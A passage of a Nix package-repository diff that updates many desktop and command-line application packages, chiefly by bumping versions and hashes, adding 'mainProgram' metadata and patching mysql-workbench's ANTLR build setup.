postUnpack - ''; - nativeBuildInputs = [ _7zz ]; sourceRoot = "MonitorControl.app"; diff --git a/pkgs/applications/misc/moonlight-embedded/default.nix b/pkgs/applications/misc/moonlight-embedded/default.nix index 005434b7d14c8..e22923e2423fa 100644 --- a/pkgs/applications/misc/moonlight-embedded/default.nix +++ b/pkgs/applications/misc/moonlight-embedded/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "moonlight-embedded"; - version = "2.6.2"; + version = "2.7.0"; src = fetchFromGitHub { owner = "moonlight-stream"; repo = "moonlight-embedded"; rev = "v${version}"; - sha256 = "sha256-57gD8vyUk4+eJB+QkD+hZzyzM+Lhvue1mY7xSApYWn8="; + sha256 = "sha256-Jc706BjIT3rS9zwntNOdgszP4CHuX+qxvPvWeU68Amg="; fetchSubmodules = true; }; diff --git a/pkgs/applications/misc/mop/default.nix b/pkgs/applications/misc/mop/default.nix index ddd02d45df0cc..301b5302b022a 100644 --- a/pkgs/applications/misc/mop/default.nix +++ b/pkgs/applications/misc/mop/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { description = "Simple stock tracker implemented in go"; homepage = "https://github.com/mop-tracker/mop"; license = licenses.mit; + mainProgram = "mop"; }; } diff --git a/pkgs/applications/misc/mupdf/default.nix b/pkgs/applications/misc/mupdf/default.nix index b2c2335db0b29..492722d33f49a 100644 --- a/pkgs/applications/misc/mupdf/default.nix +++ b/pkgs/applications/misc/mupdf/default.nix @@ -155,14 +155,14 @@ stdenv.mkDerivation rec { mkdir -p "$out/lib/pkgconfig" cat >"$out/lib/pkgconfig/mupdf.pc" <<EOF prefix=$out - libdir=$out/lib - includedir=$out/include + libdir=\''${prefix}/lib + includedir=\''${prefix}/include Name: mupdf Description: Library for rendering PDF documents Version: ${version} - Libs: -L$out/lib -lmupdf - Cflags: -I$dev/include + Libs: -L\''${libdir} -lmupdf + Cflags: -I\''${includedir} EOF moveToOutput "bin" "$bin" diff --git a/pkgs/applications/misc/mysql-workbench/default.nix b/pkgs/applications/misc/mysql-workbench/default.nix index feda79ed8846c..92574896bbd97 100644 --- a/pkgs/applications/misc/mysql-workbench/default.nix +++ b/pkgs/applications/misc/mysql-workbench/default.nix @@ -80,14 +80,16 @@ stdenv.mkDerivation (finalAttrs: { # a newer libxml2 version has changed some interfaces ./fix-xml2.patch + + # Don't try to override the ANTLR_JAR_PATH specified in cmakeFlags + ./dont-search-for-antlr-jar.patch ]; - # 1. have it look for 4.12.0 instead of 4.11.1 - # 2. for some reason CMakeCache.txt is part of source code - preConfigure = '' - substituteInPlace CMakeLists.txt \ - --replace "antlr-4.11.1-complete.jar" "antlr-4.12.0-complete.jar" + postPatch = '' + # For some reason CMakeCache.txt is part of source code, remove it rm -f build/CMakeCache.txt + + patchShebangs tools/get_wb_version.sh ''; nativeBuildInputs = [ @@ -139,10 +141,6 @@ stdenv.mkDerivation (finalAttrs: { zstd ]; - postPatch = '' - patchShebangs tools/get_wb_version.sh - ''; - # GCC 13: error: 'int64_t' in namespace 'std' does not name a type # when updating the version make sure this is still needed env.CXXFLAGS = "-include cstdint"; @@ -164,7 +162,7 @@ stdenv.mkDerivation (finalAttrs: { # mysql-workbench 8.0.21 depends on libmysqlconnectorcpp 1.1.8. # Newer versions of connector still provide the legacy library when enabled # but the headers are in a different location. - "-DWITH_ANTLR_JAR=${antlr4_12.jarLocation}" + "-DANTLR_JAR_PATH=${antlr4_12.jarLocation}" "-DMySQLCppConn_INCLUDE_DIR=${libmysqlconnectorcpp}/include/jdbc" ]; diff --git a/pkgs/applications/misc/mysql-workbench/dont-search-for-antlr-jar.patch b/pkgs/applications/misc/mysql-workbench/dont-search-for-antlr-jar.patch new file mode 100644 index 0000000000000..80e4a76201734 --- /dev/null +++ b/pkgs/applications/misc/mysql-workbench/dont-search-for-antlr-jar.patch @@ -0,0 +1,30 @@ +diff --git a/CMakeLists.txt b/CMakeLists.txt +index b7320bb..d7169da 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -143,25 +143,6 @@ check_function_exists (strtoull HAVE_STRTOULL) + check_function_exists (strtoimax HAVE_STRTOIMAX) + check_function_exists (strtoumax HAVE_STRTOUMAX) + +-set(ANTLR_JAR_FILENAME "antlr-4.11.1-complete.jar") +-get_filename_component(SOURCE_PARENT_DIR ${CMAKE_SOURCE_DIR} DIRECTORY) +-set(LINUX_RES_BIN_DIR ${SOURCE_PARENT_DIR}/linux-res/bin) +-message("WITH_ANTLR_JAR: ${WITH_ANTLR_JAR}") +-if(WITH_ANTLR_JAR) +- get_filename_component(ANTLR_JAR_USER_DIR ${WITH_ANTLR_JAR} DIRECTORY) +- find_path(ANTLR_JAR_PATH ${ANTLR_JAR_FILENAME} ${LINUX_RES_BIN_DIR} ${ANTLR_JAR_USER_DIR}) +-else(WITH_ANTLR_JAR) +- find_path(ANTLR_JAR_PATH ${ANTLR_JAR_FILENAME} ${LINUX_RES_BIN_DIR}) +-endif(WITH_ANTLR_JAR) +- +-if(ANTLR_JAR_PATH AND Java_JAVA_EXECUTABLE) +- set(ANTLR_JAR_PATH ${ANTLR_JAR_PATH}/${ANTLR_JAR_FILENAME}) +- message(STATUS "ANTLR jar: " ${ANTLR_JAR_PATH}) +-else() +- message(WARNING ${ANTLR_JAR_FILENAME} " or java runtime wasn't found which is required if you'd like to rebuild Lexer and Parser files") +-endif() +- +- + if (UNIX) + if (NOT LIB_INSTALL_DIR) + set(LIB_INSTALL_DIR "${CMAKE_INSTALL_PREFIX}/lib") diff --git a/pkgs/applications/misc/mystem/default.nix b/pkgs/applications/misc/mystem/default.nix index 198d170bd89ca..50c2c35749e0c 100644 --- a/pkgs/applications/misc/mystem/default.nix +++ b/pkgs/applications/misc/mystem/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation rec { license = licenses.unfreeRedistributable; maintainers = with maintainers; [ abbradar ]; platforms = [ "x86_64-linux" ]; + mainProgram = "mystem"; }; } diff --git a/pkgs/applications/misc/natural-docs/default.nix b/pkgs/applications/misc/natural-docs/default.nix index be4bd5f430fa2..05a752ab465d7 100644 --- a/pkgs/applications/misc/natural-docs/default.nix +++ b/pkgs/applications/misc/natural-docs/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "natural-docs"; - version = "2.2"; + version = "2.3"; src = fetchzip { url = "https://naturaldocs.org/download/natural_docs/${version}/Natural_Docs_${version}.zip"; - sha256 = "sha256-W0E9wamzABnPleVhHHXTIdWJk8kWnrUHojM+pcsowy8="; + sha256 = "sha256-yk9PxrZ6+ocqGLB+xCBGiQKnHLMdp2r+NuoMhWsr0GM="; }; dontPatch = true; @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { homepage = "https://naturaldocs.org"; license = licenses.agpl3Only; maintainers = [ maintainers.nkpvk ]; + mainProgram = "NaturalDocs"; }; } diff --git a/pkgs/applications/misc/neo/default.nix b/pkgs/applications/misc/neo/default.nix index e091a572c2723..27216c381db64 100644 --- a/pkgs/applications/misc/neo/default.nix +++ b/pkgs/applications/misc/neo/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/st3w/neo"; platforms = ncurses.meta.platforms; maintainers = [ maintainers.abbe ]; + mainProgram = "neo"; }; } diff --git a/pkgs/applications/misc/neo4j-desktop/default.nix b/pkgs/applications/misc/neo4j-desktop/default.nix index d3058dbf18341..42cd8067fe326 100644 --- a/pkgs/applications/misc/neo4j-desktop/default.nix +++ b/pkgs/applications/misc/neo4j-desktop/default.nix @@ -29,5 +29,6 @@ in appimageTools.wrapType2 { license = licenses.unfree; maintainers = [ maintainers.bobvanderlinden ]; platforms = [ "x86_64-linux" ]; + mainProgram = "neo4j-desktop"; }; } diff --git a/pkgs/applications/misc/nix-tour/default.nix b/pkgs/applications/misc/nix-tour/default.nix index b7485255b8a86..bff2a40e5370b 100644 --- a/pkgs/applications/misc/nix-tour/default.nix +++ b/pkgs/applications/misc/nix-tour/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { homepage = "https://nixcloud.io/tour"; license = licenses.gpl2; maintainers = with maintainers; [ qknight yuu ]; + mainProgram = "nix-tour"; }; } diff --git a/pkgs/applications/misc/notesnook/default.nix b/pkgs/applications/misc/notesnook/default.nix index cb39e26994f58..62788b5a7f13f 100644 --- a/pkgs/applications/misc/notesnook/default.nix +++ b/pkgs/applications/misc/notesnook/default.nix @@ -38,6 +38,7 @@ let license = licenses.gpl3Only; maintainers = with maintainers; [ j0lol ]; platforms = [ "x86_64-linux" "x86_64-darwin" "aarch64-darwin" ]; + mainProgram = "notesnook"; }; linux = appimageTools.wrapType2 rec { diff --git a/pkgs/applications/misc/nrsc5/default.nix b/pkgs/applications/misc/nrsc5/default.nix index e55438f0eb115..2b1a2ff22188a 100644 --- a/pkgs/applications/misc/nrsc5/default.nix +++ b/pkgs/applications/misc/nrsc5/default.nix @@ -48,6 +48,7 @@ in stdenv.mkDerivation { platforms = lib.platforms.linux; license = licenses.gpl3Plus; maintainers = with maintainers; [ markuskowa ]; + mainProgram = "nrsc5"; }; } diff --git a/pkgs/applications/misc/ns-usbloader/default.nix b/pkgs/applications/misc/ns-usbloader/default.nix index ff16debee7ef2..2a08b24435a28 100644 --- a/pkgs/applications/misc/ns-usbloader/default.nix +++ b/pkgs/applications/misc/ns-usbloader/default.nix @@ -100,5 +100,6 @@ maven.buildMavenPackage rec { license = licenses.gpl3Only; maintainers = with maintainers; [ soupglasses ]; platforms = [ "x86_64-linux" "aarch64-linux" ]; + mainProgram = "ns-usbloader"; }; } diff --git a/pkgs/applications/misc/numberstation/default.nix b/pkgs/applications/misc/numberstation/default.nix index cceaec612d9b4..de2c377b26c20 100644 --- a/pkgs/applications/misc/numberstation/default.nix +++ b/pkgs/applications/misc/numberstation/default.nix @@ -15,7 +15,7 @@ python3.pkgs.buildPythonApplication rec { pname = "numberstation"; - version = "1.3.0"; + version = "1.4.0"; format = "other"; @@ -23,7 +23,7 @@ python3.pkgs.buildPythonApplication rec { owner = "~martijnbraam"; repo = "numberstation"; rev = version; - hash = "sha256-l4ev47ofBZeUqjJjdhQOHX+mNL9nIHH0mfYdqZW1LMs="; + hash = "sha256-0T/Dc2i6auuZiWjcPR72JT8yOrzmdEmbW2PS5YhmEwI="; }; postPatch = '' @@ -60,6 +60,7 @@ python3.pkgs.buildPythonApplication rec { ''; meta = with lib; { + changelog = "https://git.sr.ht/~martijnbraam/numberstation/refs/${version}"; description = "TOTP Authentication application for mobile"; homepage = "https://sr.ht/~martijnbraam/numberstation/"; license = licenses.gpl3Only; diff --git a/pkgs/applications/misc/nwg-displays/default.nix b/pkgs/applications/misc/nwg-displays/default.nix index b73df6de31eec..f2d4461d4c086 100644 --- a/pkgs/applications/misc/nwg-displays/default.nix +++ b/pkgs/applications/misc/nwg-displays/default.nix @@ -14,13 +14,13 @@ python310Packages.buildPythonApplication rec { pname = "nwg-displays"; - version = "0.3.13"; + version = "0.3.14"; src = fetchFromGitHub { owner = "nwg-piotr"; repo = "nwg-displays"; rev = "refs/tags/v${version}"; - hash = "sha256-ZXEnlcifwJTnpSKVET/ThIA0NHLP9fQTIM2bQbJ7qZ8="; + hash = "sha256-jSL+ig1mNJrnHli8B+BqvEG8jcC0gnxzbukiYgt3nP0="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/nwg-dock/default.nix b/pkgs/applications/misc/nwg-dock/default.nix index b2154db0d7942..f32873e21a06a 100644 --- a/pkgs/applications/misc/nwg-dock/default.nix +++ b/pkgs/applications/misc/nwg-dock/default.nix @@ -30,5 +30,6 @@ buildGoModule rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "nwg-dock"; }; } diff --git a/pkgs/applications/misc/nwg-panel/default.nix b/pkgs/applications/misc/nwg-panel/default.nix index 78e2871ab557e..308a1d0d2cee1 100644 --- a/pkgs/applications/misc/nwg-panel/default.nix +++ b/pkgs/applications/misc/nwg-panel/default.nix @@ -16,13 +16,13 @@ python3Packages.buildPythonApplication rec { pname = "nwg-panel"; - version = "0.9.22"; + version = "0.9.25"; src = fetchFromGitHub { owner = "nwg-piotr"; repo = "nwg-panel"; - rev = "v${version}"; - hash = "sha256-2O3FMPA/QD+ZUmLvot+MMwbUo3zT6ZN5NIbulh2oGYk="; + rev = "refs/tags/v${version}"; + hash = "sha256-dTBV2OckPJNA707PNz/jmfUPpufhItt4EEDHAI79kxQ="; }; # No tests diff --git a/pkgs/applications/misc/obs-cli/default.nix b/pkgs/applications/misc/obs-cli/default.nix index f62fa6a840137..8ff7e7a48157a 100644 --- a/pkgs/applications/misc/obs-cli/default.nix +++ b/pkgs/applications/misc/obs-cli/default.nix @@ -36,5 +36,6 @@ buildGoModule rec { license = licenses.mit; maintainers = with maintainers; [ flexiondotorg ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "obs-cli"; }; } diff --git a/pkgs/applications/misc/obsidian/default.nix b/pkgs/applications/misc/obsidian/default.nix index 5ef2cbd99f45c..586d9744dbe2a 100644 --- a/pkgs/applications/misc/obsidian/default.nix +++ b/pkgs/applications/misc/obsidian/default.nix @@ -12,7 +12,7 @@ let inherit (stdenv.hostPlatform) system; pname = "obsidian"; - version = "1.5.3"; + version = "1.5.8"; appname = "Obsidian"; meta = with lib; { description = "A powerful knowledge base that works on top of a local folder of plain text Markdown files"; @@ -25,7 +25,7 @@ let filename = if stdenv.isDarwin then "Obsidian-${version}-universal.dmg" else "obsidian-${version}.tar.gz"; src = fetchurl { url = "https://github.com/obsidianmd/obsidian-releases/releases/download/v${version}/${filename}"; - hash = if stdenv.isDarwin then "sha256-AXjzQwZxyRaI8mMU2EsNK0fRcXS7UNNBWPXeJzgomlY=" else "sha256-F7nqWOeBGGSmSVNTpcx3lHRejSjNeM2BBqS9tsasTvg="; + hash = if stdenv.isDarwin then "sha256-5olNmOLE9AgVUyRY8PylUPGYIMS+KoDG3g2BMCySdyE=" else "sha256-oc2iA2E3ac/uUNv6unzfac5meHqQzmzDVl/M9jNpS/M="; }; icon = fetchurl { diff --git a/pkgs/applications/misc/onagre/default.nix b/pkgs/applications/misc/onagre/default.nix index 1b39cf45eeae7..b6375e6b5955e 100644 --- a/pkgs/applications/misc/onagre/default.nix +++ b/pkgs/applications/misc/onagre/default.nix @@ -36,5 +36,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; maintainers = [ maintainers.jfvillablanca ]; platforms = platforms.linux; + mainProgram = "onagre"; }; } diff --git a/pkgs/applications/misc/oneko/default.nix b/pkgs/applications/misc/oneko/default.nix index 17a94511e3fce..a67bedd42912c 100644 --- a/pkgs/applications/misc/oneko/default.nix +++ b/pkgs/applications/misc/oneko/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { license = with licenses; [ publicDomain ]; maintainers = with maintainers; [ xaverdh irenes ]; platforms = platforms.unix; + mainProgram = "oneko"; }; } diff --git a/pkgs/applications/misc/openbox-menu/default.nix b/pkgs/applications/misc/openbox-menu/default.nix index e9646b9c21d46..de3fc6cd0accc 100644 --- a/pkgs/applications/misc/openbox-menu/default.nix +++ b/pkgs/applications/misc/openbox-menu/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = [ maintainers.romildo ]; platforms = platforms.unix; + mainProgram = "openbox-menu"; }; } diff --git a/pkgs/applications/misc/openjump/default.nix b/pkgs/applications/misc/openjump/default.nix index d6b20a7f01e57..e1eceab496471 100644 --- a/pkgs/applications/misc/openjump/default.nix +++ b/pkgs/applications/misc/openjump/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation { license = lib.licenses.gpl2; maintainers = [lib.maintainers.marcweber]; platforms = lib.platforms.linux; + mainProgram = "OpenJump"; }; } diff --git a/pkgs/applications/misc/openrgb-plugins/effects/default.nix b/pkgs/applications/misc/openrgb-plugins/effects/default.nix index 01ff200715166..f84aa13b72199 100644 --- a/pkgs/applications/misc/openrgb-plugins/effects/default.nix +++ b/pkgs/applications/misc/openrgb-plugins/effects/default.nix @@ -10,14 +10,14 @@ , wrapQtAppsHook }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "openrgb-plugin-effects"; version = "0.9"; src = fetchFromGitLab { owner = "OpenRGBDevelopers"; repo = "OpenRGBEffectsPlugin"; - rev = "release_${version}"; + rev = "release_${finalAttrs.version}"; hash = "sha256-8BnHifcFf7ESJgJi/q3ca38zuIVa++BoGlkWxj7gpog="; fetchSubmodules = true; }; @@ -47,4 +47,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.linux; }; -} +}) diff --git a/pkgs/applications/misc/openrgb-plugins/hardwaresync/default.nix b/pkgs/applications/misc/openrgb-plugins/hardwaresync/default.nix index 5d0c4e966128f..9080f53481fbc 100644 --- a/pkgs/applications/misc/openrgb-plugins/hardwaresync/default.nix +++ b/pkgs/applications/misc/openrgb-plugins/hardwaresync/default.nix @@ -11,14 +11,14 @@ , wrapQtAppsHook }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "openrgb-plugin-hardwaresync"; version = "0.9"; src = fetchFromGitLab { owner = "OpenRGBDevelopers"; repo = "OpenRGBHardwareSyncPlugin"; - rev = "release_${version}"; + rev = "release_${finalAttrs.version}"; hash = "sha256-3sQFiqmXhuavce/6v3XBpp6PAduY7t440nXfbfCX9a0="; }; @@ -50,4 +50,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.linux; }; -} +}) diff --git a/pkgs/applications/misc/openring/default.nix b/pkgs/applications/misc/openring/default.nix index e311dfbb3b7c4..2f72b8b41cc01 100644 --- a/pkgs/applications/misc/openring/default.nix +++ b/pkgs/applications/misc/openring/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://sr.ht/~sircmpwn/openring"; license = licenses.gpl3Only; maintainers = with maintainers; [ sumnerevans ]; + mainProgram = "openring"; }; } diff --git a/pkgs/applications/misc/oranda/default.nix b/pkgs/applications/misc/oranda/default.nix index 9e1ff27f651b0..832f6f8048d68 100644 --- a/pkgs/applications/misc/oranda/default.nix +++ b/pkgs/applications/misc/oranda/default.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "oranda"; - version = "0.6.1"; + version = "0.6.2"; src = fetchFromGitHub { owner = "axodotdev"; repo = "oranda"; rev = "v${version}"; - hash = "sha256-/tlGpsJ7qqBKC13w0kX2AqYyGR+KLNh+hM/FKjlEIaY="; + hash = "sha256-BOMAkmJ2i/zqp6v49xeIF+EfZob8yXohPh86ERwp5OU="; }; - cargoHash = "sha256-cXf94Y9v80ofayJxzVTnrz0EpzWwhIH1CLvQIHDm1sw="; + cargoHash = "sha256-SjXPfrO/YiOb1gOw75nAstKFipeIvLV6yl/sy+BZqE4="; nativeBuildInputs = [ pkg-config @@ -53,5 +53,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/axodotdev/oranda/blob/${src.rev}/CHANGELOG.md"; license = with licenses; [ asl20 mit ]; maintainers = with maintainers; [ figsoda ]; + mainProgram = "oranda"; }; } diff --git a/pkgs/applications/misc/osm2xmap/default.nix b/pkgs/applications/misc/osm2xmap/default.nix index 545ea498002a1..bca60b14a34df 100644 --- a/pkgs/applications/misc/osm2xmap/default.nix +++ b/pkgs/applications/misc/osm2xmap/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.mpickering ]; platforms = with lib.platforms; linux; + mainProgram = "osm2xmap"; }; } diff --git a/pkgs/applications/misc/osmium-tool/default.nix b/pkgs/applications/misc/osmium-tool/default.nix index cf7c419e40de3..7735e7500f9d0 100644 --- a/pkgs/applications/misc/osmium-tool/default.nix +++ b/pkgs/applications/misc/osmium-tool/default.nix @@ -50,6 +50,7 @@ stdenv.mkDerivation rec { homepage = "https://osmcode.org/osmium-tool/"; changelog = "https://github.com/osmcode/osmium-tool/blob/v${version}/CHANGELOG.md"; license = with licenses; [ gpl3Plus mit bsd3 ]; - maintainers = with maintainers; [ das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ das-g ]; + mainProgram = "osmium"; }; } diff --git a/pkgs/applications/misc/osmtogeojson/default.nix b/pkgs/applications/misc/osmtogeojson/default.nix index 5854d36b1e7a3..07d989d2cc83c 100644 --- a/pkgs/applications/misc/osmtogeojson/default.nix +++ b/pkgs/applications/misc/osmtogeojson/default.nix @@ -23,5 +23,6 @@ buildNpmPackage rec { homepage = "https://tyrasd.github.io/osmtogeojson/"; maintainers = with maintainers; [ thibautmarty ]; license = licenses.mit; + mainProgram = "osmtogeojson"; }; } diff --git a/pkgs/applications/misc/otf2bdf/default.nix b/pkgs/applications/misc/otf2bdf/default.nix index 947957df284cf..6653225b7f448 100644 --- a/pkgs/applications/misc/otf2bdf/default.nix +++ b/pkgs/applications/misc/otf2bdf/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.mit0; platforms = platforms.all; maintainers = with maintainers; [ hzeller ]; + mainProgram = "otf2bdf"; }; } diff --git a/pkgs/applications/misc/otpclient/default.nix b/pkgs/applications/misc/otpclient/default.nix index 15e2154bdfc0a..328735d6d4a54 100644 --- a/pkgs/applications/misc/otpclient/default.nix +++ b/pkgs/applications/misc/otpclient/default.nix @@ -20,13 +20,13 @@ stdenv.mkDerivation rec { pname = "otpclient"; - version = "3.3.0"; + version = "3.5.0"; src = fetchFromGitHub { owner = "paolostivanin"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-ca0lGlpR9ynaGQPNLoe7/MegXcyRxLltF/65DJC3830="; + hash = "sha256-MiWEnyhHo6+3woWi4Vf75s+cfzJSPE0xdnvuPbsxrsc="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/owmods-cli/default.nix b/pkgs/applications/misc/owmods-cli/default.nix index 4dd5a67aa9959..44a711dfeec17 100644 --- a/pkgs/applications/misc/owmods-cli/default.nix +++ b/pkgs/applications/misc/owmods-cli/default.nix @@ -12,16 +12,16 @@ rustPlatform.buildRustPackage rec { pname = "owmods-cli"; - version = "0.12.1"; + version = "0.12.2"; src = fetchFromGitHub { owner = "ow-mods"; repo = "ow-mod-man"; rev = "cli_v${version}"; - hash = "sha256-hvzKTJKjO7MafvnrpG9ZkCz1ePr9NCo54zaRRkRCc60="; + hash = "sha256-AfqpLL3cGZLKW5/BE6SaBe4S8GzYM2GKUZU8mFH5uX4="; }; - cargoHash = "sha256-db6wZs7OVPoESl4RnvOtmaM07FgKmko3nyf1CXzyJHA="; + cargoHash = "sha256-PhdfpiUgeOB13ROgzPBYM+sBLGMP+RtV9j9ebo8PpJU="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/applications/misc/oxker/default.nix b/pkgs/applications/misc/oxker/default.nix index 7974466a1c2ce..5952345ec1c7c 100644 --- a/pkgs/applications/misc/oxker/default.nix +++ b/pkgs/applications/misc/oxker/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "oxker"; - version = "0.6.0"; + version = "0.6.1"; src = fetchCrate { inherit pname version; - sha256 = "sha256-s1PVm5RBqHe5XVHt5Wgm05+6xXJYnMU9QO7Z8567oKk="; + sha256 = "sha256-cUM9+6BZcsrb850fm5mFWpo7/JmxwNDh+upHeE7+DU8="; }; - cargoHash = "sha256-zZFys59vEiGfB9NlAY5yjHBeXf8zQ3npFF7sg2SQTwU="; + cargoHash = "sha256-sFBI/+7oGjjUyr3PBkkqdgprGdcaYHtOvqFpkrF4Qx8="; meta = with lib; { description = "A simple tui to view & control docker containers"; @@ -17,5 +17,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/mrjackwills/oxker/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ siph ]; + mainProgram = "oxker"; }; } diff --git a/pkgs/applications/misc/p2pool/default.nix b/pkgs/applications/misc/p2pool/default.nix index 53a05157b9961..9265543ff8f5c 100644 --- a/pkgs/applications/misc/p2pool/default.nix +++ b/pkgs/applications/misc/p2pool/default.nix @@ -52,5 +52,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/SChernykh/p2pool"; license = licenses.gpl3Only; maintainers = with maintainers; [ ratsclub ]; + mainProgram = "p2pool"; }; } diff --git a/pkgs/applications/misc/pagefind/default.nix b/pkgs/applications/misc/pagefind/default.nix index 1d1a91e9e4b5c..35fe84b22729b 100644 --- a/pkgs/applications/misc/pagefind/default.nix +++ b/pkgs/applications/misc/pagefind/default.nix @@ -106,5 +106,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; maintainers = with maintainers; [ pbsds ]; platforms = platforms.unix; + mainProgram = "pagefind"; }; } diff --git a/pkgs/applications/misc/pcmanx-gtk2/default.nix b/pkgs/applications/misc/pcmanx-gtk2/default.nix index 2e75791e30823..6179bbe15fbf5 100644 --- a/pkgs/applications/misc/pcmanx-gtk2/default.nix +++ b/pkgs/applications/misc/pcmanx-gtk2/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { description = "Telnet BBS browser with GTK interface"; maintainers = [ maintainers.sifmelcara ]; platforms = platforms.linux; + mainProgram = "pcmanx"; }; } diff --git a/pkgs/applications/misc/pdfsam-basic/default.nix b/pkgs/applications/misc/pdfsam-basic/default.nix index e5d831513f067..b56f9374bddb6 100644 --- a/pkgs/applications/misc/pdfsam-basic/default.nix +++ b/pkgs/applications/misc/pdfsam-basic/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "pdfsam-basic"; - version = "5.2.0"; + version = "5.2.2"; src = fetchurl { url = "https://github.com/torakiki/pdfsam/releases/download/v${version}/pdfsam_${version}-1_amd64.deb"; - hash = "sha256-Q1387Su6bmBkXvcrTgWtYZb9z/pKHiOTfUkUNHN8ItY="; + hash = "sha256-+Hc3f8rf0ymddIu52vLtdqNZO4ODW9JnPlyneSZt/OQ="; }; unpackPhase = '' diff --git a/pkgs/applications/misc/peaclock/default.nix b/pkgs/applications/misc/peaclock/default.nix index 619b6ed9b3754..866d6660910f6 100644 --- a/pkgs/applications/misc/peaclock/default.nix +++ b/pkgs/applications/misc/peaclock/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ djanatyn ]; + mainProgram = "peaclock"; }; } diff --git a/pkgs/applications/misc/pell/default.nix b/pkgs/applications/misc/pell/default.nix index 0b21de1e91e0d..1a11a793f5638 100644 --- a/pkgs/applications/misc/pell/default.nix +++ b/pkgs/applications/misc/pell/default.nix @@ -34,6 +34,7 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.ebzzry ]; platforms = platforms.unix; + mainProgram = "pell"; }; dontBuild = true; diff --git a/pkgs/applications/misc/pgmanage/default.nix b/pkgs/applications/misc/pgmanage/default.nix index eac927ad3b2ce..e3860ee625840 100644 --- a/pkgs/applications/misc/pgmanage/default.nix +++ b/pkgs/applications/misc/pgmanage/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/pgManage/pgManage"; license = licenses.postgresql; maintainers = [ maintainers.basvandijk ]; + mainProgram = "pgmanage"; }; } diff --git a/pkgs/applications/misc/phoc/default.nix b/pkgs/applications/misc/phoc/default.nix index ba235aab2b057..9ccc17f95ec6a 100644 --- a/pkgs/applications/misc/phoc/default.nix +++ b/pkgs/applications/misc/phoc/default.nix @@ -24,12 +24,12 @@ stdenv.mkDerivation (finalAttrs: { pname = "phoc"; - version = "0.35.0"; + version = "0.36.0"; src = fetchurl { # This tarball includes the meson wrapped subproject 'gmobile'. url = with finalAttrs; "https://sources.phosh.mobi/releases/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-q2wyM0R7Mi/XuckNb6ZDkStaV9yJH1BgJ4cjqQc6EI4="; + hash = "sha256-eAKHboICsuQ4lecxnnZ8+hZjt5l1DDQbfuwypDYtdKk="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/phockup/default.nix b/pkgs/applications/misc/phockup/default.nix index 319a471f62784..8df388e1f64fd 100644 --- a/pkgs/applications/misc/phockup/default.nix +++ b/pkgs/applications/misc/phockup/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/ivandokov/phockup"; license = licenses.mit; maintainers = with maintainers; [ aanderse ]; + mainProgram = "phockup"; }; } diff --git a/pkgs/applications/misc/pinfo/default.nix b/pkgs/applications/misc/pinfo/default.nix index 179af6ca87dcd..92d892fc9c974 100644 --- a/pkgs/applications/misc/pinfo/default.nix +++ b/pkgs/applications/misc/pinfo/default.nix @@ -67,5 +67,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = with maintainers; [ fab ]; + mainProgram = "pinfo"; }; } diff --git a/pkgs/applications/misc/plasma-theme-switcher/default.nix b/pkgs/applications/misc/plasma-theme-switcher/default.nix index fb8d407ef12f9..f2af3f6e43ab3 100644 --- a/pkgs/applications/misc/plasma-theme-switcher/default.nix +++ b/pkgs/applications/misc/plasma-theme-switcher/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { description = "A KDE Plasma theme switcher"; license = with licenses; [ gpl2Only ]; maintainers = with maintainers; [ kevink ]; + mainProgram = "plasma-theme"; }; } diff --git a/pkgs/applications/misc/playonlinux/default.nix b/pkgs/applications/misc/playonlinux/default.nix index 89fcdfe4f7119..0b4f445c00669 100644 --- a/pkgs/applications/misc/playonlinux/default.nix +++ b/pkgs/applications/misc/playonlinux/default.nix @@ -146,5 +146,6 @@ in stdenv.mkDerivation { license = licenses.gpl3; maintainers = [ maintainers.pasqui23 ]; 